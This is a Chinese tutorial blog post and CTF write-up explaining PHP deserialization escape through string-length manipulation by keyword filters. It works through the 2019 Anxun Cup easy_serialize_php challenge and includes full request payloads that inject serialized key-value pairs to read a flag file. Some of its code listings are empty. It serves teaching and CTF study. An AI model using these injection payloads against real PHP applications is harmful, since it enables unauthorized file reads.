什么情况下才会存在反序列话的逃逸???
PHP 在反序列化时,底层代码是以 ;
作为字段的分隔,以 }
作为结尾(字符串除外),并且是根据长度判断内容的。
数据在序列化之后,经过一些过滤,导致其中的数据缺失或者增多,从而在反序化之前导致序列化的数据结构发生了改变,从而造成反序列化的对象逃逸问题。
反序列化的逃逸一般可以分成两种。
第一种为关键词增加
例如:flag—->where 这种就直接多构造几个flag,造成词数从四个变成五个,从而吃掉一些键值对,并且在后面补充上我们自己的键值对,从而达到我们想要的效果。
第二种为关键词减少
例如:直接过滤一些关键词,也就是把它替换为空。
关键词增加
1 | function filter($string){ |
将$f的值进行了替换,使得我们的反序列化的长度变长。如果我们传入的是f=admin
1 | a:2:{i:0;s:5:"admin";i:1;s:3:"aaa";} |
但是我们的值如果有x出现,例如f=adminx
1 | a:2:{i:0;s:6:"adminx";i:1;s:3:"aaa";} |
因为在反序列化之时,我们的数据变成了a:2:{i:0;s:6:"adminyy";i:1;s:3:"aaa";}
adminyy
有7个,但是我们的数字是6个,所以会造成反序列化出错。
但是我们传入了如下的代码的话,得到的结果如下。
1 | ?f=xxxxxxxxxxxxxxxxxxx";i:1;s:5:"admin";} |
我们传入的参数,前面是x,后面是我们需要的反序列化的数据,由于我们传的数据长度为38,之后改变成y之后我们的y的个数也是38,所以,直接就逃逸出了我们的反序列化数据。
关键词减少
这个可以看下2019的安洵杯。easy_serialize_php
1 |
|
上面有一个变量替换,还有一个传参,告诉我们传入phpinfo进去会获取一些东西,我们进入其中得到了flag的位置。d0g3_f1ag.php
然后需要读取这个文件的值,可以看到有一个file_get_contents()函数,但是我们回推一下,发现$_GET[‘img_path’],这个可控参数,但是之后会有一个sha1()导致无法利用。
所以只能是post传参,利用变量覆盖,从而使用反序列化逃逸,使得我们的img参数成为base64加密过的flag位置。
这里也有两种方法,第一种是键逃逸,第二种是值逃逸。
键逃逸
我们直接构造会被过滤的键,这样值的一部分充当键,剩下的一部分作为单独的键值对。
1 | _SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} |
这样我们看一下经过过滤的数据
1 | a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";} |
第一行是经过过滤的数据,看第一个s:7:""
哪里是空的,原因是我们输入的数据flagphp
都是被过滤的,那么就会造成吃掉一部分的数据,即";s:48:
这个,都是第一个的值,那么第二个数据就是后面的反序列化了,从而将原本的第二个数据挤出去。
值逃逸
这里需要两个连续的键值对,由第一个的值覆盖第二个的键,这样第二个值就逃逸出去,单独作为一个键值对。
1 | _SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image |
看一下我们进行过滤之后的结果。
1 | a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";} |
可以看到我们的s是24,但是由于过滤替换,导致其为空,php会自动往后找24个字符,来继续执行,那么此时";s:8:"function";s:59:"a
就被吞掉,导致后面的img换成了我们的参数。从而达成逃逸。
最后在f12中可以获取到flag地址,转换成base64编码,重新发包,获取flag。